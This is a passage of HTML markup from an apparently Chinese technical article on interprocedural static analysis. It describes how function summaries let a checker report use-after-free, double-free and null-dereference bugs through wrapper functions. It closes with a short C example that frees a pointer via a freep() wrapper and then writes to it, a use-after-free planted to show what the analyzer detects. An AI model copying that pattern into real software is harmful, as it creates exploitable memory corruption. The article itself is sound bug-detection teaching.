rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free(*p)</span></code><span leaf=""> 这种「顺着指针再释放里面那块」</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">会不会被解引用（</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p</span></code><span leaf="">、</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">p-&gt;field</span></code><span leaf="">）</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">只记「第几个参数」，不把整条路径展开。</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">void freep(int *p) { free(p); }</span></code><span leaf=""> 就会记成：第 0 个形参会被释放。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">第二步：摘要互相传。</span> </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">A 调用 B，B 已经知道自己会 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code><span leaf=""> 第 0 个参数，那 A 里对应的那个实参，对 A 来说也算「会被释放」。包装再套一层也一样：</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">wrap</span></code><span leaf=""> 调 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">freep</span></code><span leaf="">，</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">freep</span></code><span leaf=""> 调 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code><span leaf="">，摘要会往上传。这一步会多走几轮，直到没有新的「谁释放了谁」为止。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">第三步：真正顺着 caller 走的时候，碰到一次调用。  </span></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">比如 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">freep(p)</span></code><span leaf="">，先查出 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">freep</span></code><span leaf=""> 的摘要，再决定这次调用对 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">p</span></code><span leaf=""> 意味着什么：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">摘要说会 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code><span leaf=""> 这个参数：这次调用就当成一次释放。后面再 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p</span></code><span leaf="">，报 UAF；再 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free(p)</span></code><span leaf="">，报 Double Free。泄漏那边则当成这块内存已经交出去了。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">摘要说会解引用：若 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">p</span></code><span leaf=""> 此时已经释放，这次调用本身就是 UAF；若可能是空，NPD 仍只在真正的 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p</span></code><span leaf=""> / </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">p-&gt;field</span></code><span leaf=""> 上报，</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">单把指针当参数传进去不算解引用</span></span></strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">有函数体，但只是把指针存起来、既不 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code><span leaf=""> 也不解引用：不当成一次使用，避免 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">hold(p)</span></code><span leaf=""> 这种误报。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">找不到函数体（extern、函数指针、间接调用）：偏保守，可能当成会使用。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">入口处不会假设「调用者进来之前就已经 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code><span leaf=""> 过了」。形参先当成还活着，只有这个函数里（或摘要认定的调用）真的释放了，才变成已释放。这样跨函数不容易误报。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">NPD 还有一种跨过程：callee 里写了 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*a = NULL</span></code><span leaf="">，caller 会看到这次写入，之后再解引用就会按空来算。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">对照一段很常见的包装：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf=""><span class="code-snippet__function"><span class="code-snippet__keyword">void</span></span><span class="code-snippet__function"><span class="code-snippet__title">freep</span></span><span class="code-snippet__function">(</span><span class="code-snippet__function"><span class="code-snippet__params"><span class="code-snippet__built_in">int</span></span></span><span class="code-snippet__function"><span class="code-snippet__params"> *p</span></span><span class="code-snippet__function">)</span> { free(p); }</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__function"><span class="code-snippet__built_in">int</span></span><span class="code-snippet__function"><span class="code-snippet__title">main</span></span><span class="code-snippet__function">()</span> {</span></code><br/><code><span leaf="">    <span class="code-snippet__built_in">int</span> *p = (<span class="code-snippet__built_in">int</span>*)malloc(<span class="code-snippet__keyword">sizeof</span>(<span class="code-snippet__built_in">int</span>));</span></code><br/><code><span leaf="">    *p = <span class="code-snippet__number">10</span>;</span></code><br/><code><span leaf="">    freep(p);   <span class="code-snippet__comment">// 摘要：freep 会释放第 0 个参数 → 这里当成 free</span></span></code><br/><code><span leaf="">    *p = <span class="code-snippet__number">20</span>;    <span class="code-snippet__comment">// UAF</span></span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, 